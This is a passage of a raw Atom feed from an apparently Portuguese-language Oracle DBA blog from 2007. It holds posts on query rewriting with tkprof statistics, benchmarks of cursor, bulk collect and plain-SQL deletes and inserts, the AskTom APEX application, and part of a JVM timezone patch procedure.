rgb(0, 0, 0);"&gt;Predicate Information (identified by operation id):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3 - access("OBJ#"&amp;gt;=59700 AND "OBJ#"&amp;lt;=59800)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   4 - access("T1"."OBJ#"="T2"."OBJECT_ID")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   6 - access("T2"."OWNER"='SCOTT')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   7 - filter("OBJ#"&amp;lt;59700 OR "OBJ#"&gt;59800)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Statistics&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          1  recursive calls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          0  db block gets&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;span style="font-weight: bold;"&gt;643  consistent gets&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          0  physical reads&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ok muito melhor... 643 consistents gets contra quase 160 mil, notem também a mudança de plano de acesso e para finalizar uma olhada no tkprof.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where obj# between 59700 and 59800&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    or exists (select null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                 from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                where t1.obj# = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  and t2.owner = 'SCOTT'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parse        1      0.00       0.01          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execute      1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fetch        2      3.24       3.16          0     158680          0          41&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total        4      3.24       3.17          0     158680          0          41&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Contra o query reescrita!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where obj# between 59700 and 59800&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;UNION ALL&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where exists ( select null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                 where t1.obj# = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                   and t2.owner = 'SCOTT'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   and not ( obj# between 59700 and 59800 )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Parse        1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execute      1      0.00       0.00          0          0          0           0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fetch        2      0.05       0.05          0        643          0          41&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total        4      0.05       0.05          0        643          0          41&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-1469496460001822675?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/1469496460001822675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=1469496460001822675' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1469496460001822675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1469496460001822675'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/eficiencia-do-otimizador.html' title='Eficiencia do Otimizador'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-4994829405157586299</id><published>2007-03-19T16:40:00.001-03:00</published><updated>2007-03-21T01:42:15.323-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Bulk Collect 2 (Delete)</title><content type='html'>Recentemente, outra dúvida sobre qual método seria mais eficiente na deleção de linhas de uma tabela surgiu na &lt;a href="http://br.groups.yahoo.com/group/usuarios_oracle/message/29826"&gt;usuarios_oracle.&lt;/a&gt; Em minha opinião, por mais apelativo que seja o estouro da área de UNDO, eu ainda continuo apostando em SQL Puro. Eu aumentaria a área de UNDO para suportar a operação e faria em uma sentença. Vamos ao exemplo:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;- Tabela com 2 milhões de registros, quero deletar 100 mil.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;- Faço os 3 métodos, cursor normal, bulk collect e sql puro.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;- O Resultado está no final.&lt;/span&gt;&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;ops$marcio:LX10G&gt; drop table t purge;&lt;br /&gt;&lt;br /&gt;Table dropped.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; create table t as&lt;br /&gt; 2  select level n,&lt;br /&gt; 3         rpad('x', 50, 'x') vc&lt;br /&gt; 4    from dual connect by level &amp;lt;= 2000000&lt;br /&gt; 5  /&lt;br /&gt;&lt;br /&gt;Table created.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; create index t_idx on t ( n );&lt;br /&gt;&lt;br /&gt;Index created.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; begin&lt;br /&gt; 2          dbms_stats.gather_table_stats ( user, 'T', cascade =&gt; true );&lt;br /&gt; 3  end;&lt;br /&gt; 4  /&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; create or replace procedure p&lt;br /&gt; 2  is&lt;br /&gt; 3          cursor c is&lt;br /&gt; 4              select rowid rid&lt;br /&gt; 5                from t&lt;br /&gt; 6               where n between 1500000 and 1600000;&lt;br /&gt; 7          type rec is table of rowid index by binary_integer;&lt;br /&gt; 8          l_rec rec;&lt;br /&gt; 9          l_time  number default dbms_utility.get_time;&lt;br /&gt;10          procedure show_time (p_message in varchar2) is&lt;br /&gt;11          begin&lt;br /&gt;12                  dbms_output.put_line(p_message ||&lt;br /&gt;13                     trunc((dbms_utility.get_time - l_time)/100,2) || ' segundos!');&lt;br /&gt;14                  l_time := dbms_utility.get_time;&lt;br /&gt;15          end;&lt;br /&gt;16  begin&lt;br /&gt;17          for x in c&lt;br /&gt;18          loop&lt;br /&gt;19                  delete from t where rowid = x.rid;&lt;br /&gt;20          end loop;&lt;br /&gt;21          show_time('Tempo cursor normal ');&lt;br /&gt;22          rollback;&lt;br /&gt;23          open c;&lt;br /&gt;24          loop&lt;br /&gt;25                  fetch c bulk collect into l_rec limit 100;&lt;br /&gt;26&lt;br /&gt;27                  forall i in 1 .. l_rec.count&lt;br /&gt;28                          delete from t where rowid = l_rec(i);&lt;br /&gt;29&lt;br /&gt;30                  exit when c%notfound;&lt;br /&gt;31          end loop;&lt;br /&gt;32          close c;&lt;br /&gt;33          show_time('Tempo Bulk Collect ');&lt;br /&gt;34          rollback;&lt;br /&gt;35          delete from t where n between 1500000 and 1600000;&lt;br /&gt;36          show_time('Tempo SQL Puro ');&lt;br /&gt;37  end;&lt;br /&gt;38  /&lt;br /&gt;&lt;br /&gt;Procedure created.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt; show error;&lt;br /&gt;No errors.&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; exec p&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tempo cursor normal 23,38 segundos!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tempo Bulk Collect 19,96 segundos!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Tempo SQL Puro 4,77 segundos!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-4994829405157586299?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/4994829405157586299/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=4994829405157586299' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4994829405157586299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4994829405157586299'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/bulk-collect-2-delete.html' title='Bulk Collect 2 (Delete)'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-9046455760200304627</id><published>2007-03-12T17:04:00.001-03:00</published><updated>2007-03-12T17:18:48.321-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Bulk Collect</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Meu mantra para performance é:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;SQL Puro - Me esforço o máximo para usar SQL Puro.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;PL/SQL - Quando a lógica é complexa.&lt;/li&gt;&lt;li&gt;External C procs - Para ser sincero, faz algum tempo que não utilizo.&lt;/li&gt;&lt;/ol&gt;Gostaria de comentar sobre a opção dois! Escrever código PL/SQL. Cuidado para não &lt;a href="http://mportes.blogspot.com/2006/01/escrevendo-cdigo-demais.html"&gt;escrever código demais&lt;/a&gt;. Porém, não adianta, em algum momento é preciso escrever procedures, packages, functions, etc. Então melhor utilizar bem as técnicas. Neste post, vou explorar a diferença de tratamente de cursor. Quando for inevitável o uso de cursor, tente não usar o processamento linha a linha. Uma boa técnica de tratamento para os cursores é &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/appdev.102/b14261/sqloperations.htm#sthref1351"&gt;&lt;b&gt;BULK COLLECT&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Vamos ao teste, que consiste em comparar o tratamento de um mesmo cursor de duas maneiras - uma, linha a linha e outra com bulk collect. Também há uma subrotina na procedure que mostra o tempo tomado em cada execução. A lógica é alterar a coluna object_name para initcap(object_name). Apenas para fixar conceito: Qual seria o melhor forma de tratar essa modificação? ...&lt;br /&gt;&lt;br /&gt;Muito bem! Opção 1 - SQL Puro, bastaria&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;insert into gtt select initcap(object_name) from t;&lt;/pre&gt;Entretanto, estamos estudando a melhor forma de tratar um cursor. A seguir a lógica do teste.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Cursor abre, le a tabela "T" linha a linha, faz a modificação (initcap) e insere na tabela "GTT".&lt;/li&gt;&lt;li&gt;Mostra tempo de execução 'Tempo cursor normal'&lt;/li&gt;&lt;li&gt;Cursor abre, le a tabela "T" de 100 em 100 registros e monta um set (type - array), faz a modificação (initcap) e insere os 100 registros na tabela "GTT" volta ao item 3 até completar a tabela "T".&lt;/li&gt;&lt;li&gt;Mostra tempo de execução 'Tempo bulk collect'&lt;/li&gt;&lt;li&gt;Fim.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create table t as select * from all_objects;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create global temporary table gtt on commit preserve rows&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  as select * from t where 1=0;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create or replace procedure p&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3          cursor c is select * from t;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4          type rec is table of c%rowtype index by binary_integer;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5          l_rec rec;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6          l_time  number default dbms_utility.get_time;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7          procedure show_time (p_message in varchar2) is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8          begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9                  dbms_output.put_line(p_message ||&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10                     trunc((dbms_utility.get_time - l_time)/100,2) || ' segundos!');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11                  l_time := dbms_utility.get_time;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12          end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 13  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 14          execute immediate ('truncate table gtt');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 15          for x in c&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 16          loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 17                  x.object_name := initcap(x.object_name);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 18                  insert into gtt values x;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 19          end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 20          show_time('Tempo cursor normal ');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 21          execute immediate ('truncate table gtt');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 22          open c;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 23          loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 24                  fetch c bulk collect into l_rec limit 100;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 25&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 26                  for i in 1 .. l_rec.count&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 27                  loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 28                          l_rec(i).object_name := initcap(l_rec(i).object_name);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 29                  end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 30&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 31                  forall i in 1 .. l_rec.count&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 32                          insert into gtt values l_rec(i);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 33&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 34                  exit when c%notfound;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 35          end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 36          close c;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 37          show_time('Tempo bulk collect ');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 38  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 39  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Procedure created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; show error;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;No errors.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; exec p;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Tempo cursor normal 3,05 segundos!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255); font-weight: bold;"&gt;Tempo bulk collect ,45 segundos!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;O tempo é indiscutível. Aproximadamente 3 vezes mais rápido! Para cerca de 50 mil linhas.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-9046455760200304627?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/9046455760200304627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=9046455760200304627' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/9046455760200304627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/9046455760200304627'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/bulk-collect_12.html' title='Bulk Collect'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-3150193183078999009</id><published>2007-03-07T13:05:00.000-03:00</published><updated>2007-04-02T09:55:41.304-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>Tenha Sua Propria ASKTOM</title><content type='html'>Já pensou em ter sua própria &lt;a href="http://asktom.oracle.com"&gt;asktom&lt;/a&gt;? Para quem não é da área de Banco de Dados - Oracle, pode ser que nunca tenha ouvido falar do Thomas Kyte, mas para a maioria dos profissionais que trabalham com o Oracle, ele é uma figura bastante conhecida pelo que faz pela comunidade. Ele tem um site (&lt;a href="http://asktom.oracle.com"&gt;asktom&lt;/a&gt;) onde responde e esclare dúvidas referentes ao Oracle.&lt;br /&gt;&lt;br /&gt;Agora voce pode ter sua própria asktom. A Oracle disponibilizou o fonte da asktom para download, é preciso ter o &lt;a href="http://apex.oracle.com"&gt;APEX&lt;/a&gt; (Application Express - antigo HTMLDB) e instalar - pronto! Sua própria asktom ou ask quem quer que seja. Eu fiz a &lt;a href="http://apex.oracle.com/pls/otn/f?p=30467:1"&gt;Ask ao Tio&lt;/a&gt; ;-) Inclusive está até aberta para receber perguntas!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-3150193183078999009?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/3150193183078999009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=3150193183078999009' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3150193183078999009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3150193183078999009'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/tenha-sua-propria-asktom.html' title='Tenha Sua Propria ASKTOM'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-3600179040336239338</id><published>2007-03-04T22:16:00.000-03:00</published><updated>2007-03-04T22:27:50.222-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>Ainda DST - JVM</title><content type='html'>Nesse novo post sobre JVM, decidi não me aprofundar em algo que está amplamente documentado. Só vou mostrar exatamente como fiz a aplicação do patch para JVM em meu 10g.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin ~]$ cd patches&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 88&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  4 oracle dba  4096 Feb 15 03:37 5632264&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba   360 Feb 28 21:06 test_patch.sql&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 73788 Feb 28 22:21 p5632264_10202_LINUX.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ $ORACLE_HOME/jdk/bin/java -fullversion&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;java full version "1.4.2_08-b03"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ mkdir java_backup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ cd java_backup/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Africa/Timbuktu .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Buenos_Aires .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Catamarca .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Coral_Harbour .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mv: cannot stat `/oracle/10g/javavm/lib/zi/America/Coral_Harbour': No such file or directory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Cordoba .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Indianapolis .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Jujuy .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Louisville .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/America/Mendoza .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Europe/Belfast .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 